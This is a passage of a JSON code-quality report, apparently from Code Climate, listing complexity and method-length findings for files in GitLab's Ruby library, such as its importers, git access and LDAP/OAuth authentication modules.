read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_issue_comments` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3399ad65a3497aa307eaeb32cb5e83e6","location":{"path":"lib/gitlab/fogbugz_import/importer.rb","lines":{"begin":158,"end":196}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `import_cases` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"cdbe17ce063af3997de1ea4bb7b62f8b","location":{"path":"lib/gitlab/fogbugz_import/importer.rb","lines":{"begin":102,"end":146}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `import_issue_comments` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"a350dd17c12b659d965d2849ad05d077","location":{"path":"lib/gitlab/fogbugz_import/importer.rb","lines":{"begin":158,"end":196}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `git_access.rb` has 288 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"217b36994b7bc085e2426b68d5ae12da","location":{"path":"lib/gitlab/git_access.rb","lines":{"begin":3,"end":372}},"other_locations":[],"remediation_points":1747200,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_authentication_abilities!` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"12742436ece459400a3eaf9d0a1bb60c","location":{"path":"lib/gitlab/git_access.rb","lines":{"begin":128,"end":139}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ensure_project_on_push!` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"96a9f1789e7e7f1f1ba2da1e54b194c6","location":{"path":"lib/gitlab/git_access.rb","lines":{"begin":189,"end":213}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_push_access!` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3ea1e3ce0a376bfea8bcf0212ff90809","location":{"path":"lib/gitlab/git_access.rb","lines":{"begin":233,"end":251}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `GitAccess` has 41 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"8b604fd91125836b6b7febd9f9706b53","location":{"path":"lib/gitlab/git_access.rb","lines":{"begin":4,"end":371}},"other_locations":[],"remediation_points":3300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create_service_account` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ede2112edc62f1c1aaab207b4d2d3bb8","location":{"path":"lib/gitlab/kubernetes/helm/api.rb","lines":{"begin":49,"end":59}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create_cluster_role_binding` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"35fbb979c3d0eb66f9ca187bb5295521","location":{"path":"lib/gitlab/kubernetes/helm/api.rb","lines":{"begin":61,"end":71}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `initialize` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"a6788548613abbede0f945c93f499e01","location":{"path":"lib/gitlab/bitbucket_import/project_creator.rb","lines":{"begin":6,"end":6}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_issues` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"dc7e6d5a30b4b296140a3b3ef8f0e44a","location":{"path":"lib/gitlab/bitbucket_import/importer.rb","lines":{"begin":74,"end":106}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_issue_comments` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a48dbffa8fed1a096624520d3125343e","location":{"path":"lib/gitlab/bitbucket_import/importer.rb","lines":{"begin":109,"end":134}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_pull_requests` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5a484ad1bd84dce7a3bef35405340b71","location":{"path":"lib/gitlab/bitbucket_import/importer.rb","lines":{"begin":147,"end":183}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `import_pull_requests` has 31 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"bb107ec4ecd65c38b8c57821b432e1bd","location":{"path":"lib/gitlab/bitbucket_import/importer.rb","lines":{"begin":147,"end":183}},"other_locations":[],"remediation_points":744000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_info` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9ccb0c18a6f37f110aadd6045933f910","location":{"path":"lib/gitlab/auth/ldap/auth_hash.rb","lines":{"begin":19,"end":36}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `tls_options` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f8cf4abbbf7c74ebb10433a1b19d6e25","location":{"path":"lib/gitlab/auth/ldap/config.rb","lines":{"begin":210,"end":227}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Config` has 38 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"d8bf80e499225a5522c5bf02c2b5de50","location":{"path":"lib/gitlab/auth/ldap/config.rb","lines":{"begin":5,"end":248}},"other_locations":[],"remediation_points":3000000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `allowed?` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1b6717c2575d1b9634403637d926a53e","location":{"path":"lib/gitlab/auth/ldap/access.rb","lines":{"begin":17,"end":32}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `allowed?` has a Cognitive Complexity of 20 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1b6717c2575d1b9634403637d926a53e","location":{"path":"lib/gitlab/auth/ldap/access.rb","lines":{"begin":41,"end":63}},"other_locations":[],"remediation_points":1650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ldap_search` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5d595594b703b1d9783bd955a198807f","location":{"path":"lib/gitlab/auth/ldap/adapter.rb","lines":{"begin":52,"end":83}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `each_pair` has a Cognitive Complexity of 43 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0b175175ba20f21bb15cdf8c88896cd1","location":{"path":"lib/gitlab/auth/ldap/dn.rb","lines":{"begin":58,"end":194}},"other_locations":[],"remediation_points":3950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `initialize_array` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d6d33eb81193471d4408113ca113deac","location":{"path":"lib/gitlab/auth/ldap/dn.rb","lines":{"begin":267,"end":281}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `each_pair` has 131 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"648c4eb09b87d49a1d79f5d0a77de3ea","location":{"path":"lib/gitlab/auth/ldap/dn.rb","lines":{"begin":58,"end":194}},"other_locations":[],"remediation_points":3144000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `login` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c350e7d285ce68091161b324ed9ca293","location":{"path":"lib/gitlab/auth/ldap/authentication.rb","lines":{"begin":11,"end":20}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `save` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5b220e2f520a6fff2f90c05ba11999ba","location":{"path":"lib/gitlab/auth/o_auth/user.rb","lines":{"begin":37,"end":52}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_user` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7a4874f3ff061cb0b1aeef04800ada15","location":{"path":"lib/gitlab/auth/o_auth/user.rb","lines":{"begin":60,"end":69}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update_profile` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"38ded984fa19d27580db26e0540ac53f","location":{"path":"lib/gitlab/auth/o_auth/user.rb","lines":{"begin":229,"end":253}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `User` has 32 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"e416592e77f689818995fceca5f571bc","location":{"path":"lib/gitlab/auth/o_auth/user.rb","lines":{"begin":9,"end":268}},"other_locations":[],"remediation_points":2400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_user` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ba2b8382483d9be5260822909fe26d56","location":{"path":"lib/gitlab/auth/saml/user.rb","lines":{"begin":16,"end":28}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `cache_method_output` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"173a260b95048ce7cfc5164ebeeaa45c","location":{"path":"lib/gitlab/repository_cache_adapter.rb","lines":{"begin":44,"end":70}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `expire_method_caches` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6938667a593219bc8d59f8046973c533","location":{"path":"lib/gitlab/repository_cache_adapter.rb","lines":{"begin":73,"end":86}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `mark` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7f23977dd6af02c109c5ecaf6ec88e79","location":{"path":"lib/gitlab/string_range_marker.rb","lines":{"begin":16,"end":45}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `position_mapping` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"75e44855c1190acfa386bf060fe0c79c","location":{"path":"lib/gitlab/string_range_marker.rb","lines":{"begin":50,"end":88}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `log_response` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7bd641d0b563cc47dc64d5b378494dd5","location":{"path":"lib/gitlab/storage_check/cli.rb","lines":{"begin":49,"end":68}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that 